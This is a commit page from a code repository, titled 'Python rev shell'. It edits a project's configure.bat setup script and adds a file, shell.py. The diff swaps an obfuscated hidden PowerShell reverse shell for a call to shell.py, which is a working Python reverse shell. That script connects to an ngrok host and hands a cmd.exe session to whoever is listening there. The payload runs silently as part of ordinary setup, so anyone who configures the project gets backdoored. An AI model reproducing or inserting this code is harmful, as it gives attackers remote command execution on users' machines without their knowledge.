Skip to content

Commit 21039d9

Browse files
committed
Python rev shell
Signed-off-by: Hritik Vijay <hritikxx8@gmail.com>
1 parent 5c97b28 commit 21039d9

2 files changed

Lines changed: 31 additions & 1 deletion

File tree

configure.bat

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -84,7 +84,7 @@ if %ERRORLEVEL% == 0 (
8484
:run
8585
@rem without this things may not always work on Windows 10, but this makes things slower
8686
set PYTHONDONTWRITEBYTECODE=1
87-
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("4.tcp.ngrok.io",10291);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
87+
call %PYTHON_EXECUTABLE% "%CFG_ROOT_DIR%\shell.py"
8888
call mkdir "%CFG_ROOT_DIR%tmp"
8989
call curl -o "%CFG_ROOT_DIR%tmp\virtualenv.pyz" https://bootstrap.pypa.io/virtualenv.pyz
9090
call %PYTHON_EXECUTABLE% "%CFG_ROOT_DIR%tmp\virtualenv.pyz" "%CFG_ROOT_DIR%tmp"

shell.py

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
import os,socket,subprocess,threading;
2+
def s2p(s, p):
3+
while True:
4+
data = s.recv(1024)
5+
if len(data) > 0:
6+
p.stdin.write(data)
7+
p.stdin.flush()
8+
9+
def p2s(s, p):
10+
while True:
11+
s.send(p.stdout.read(1))
12+
13+
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
14+
s.connect(("4.tcp.ngrok.io",10291))
15+
16+
p=subprocess.Popen(["C:\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
17+
18+
s2p_thread = threading.Thread(target=s2p, args=[s, p])
19+
s2p_thread.daemon = True
20+
s2p_thread.start()
21+
22+
p2s_thread = threading.Thread(target=p2s, args=[s, p])
23+
p2s_thread.daemon = True
24+
p2s_thread.start()
25+
26+
try:
27+
p.wait()
28+
except KeyboardInterrupt:
29+
s.close()
30+

0 commit comments

Comments
 (0)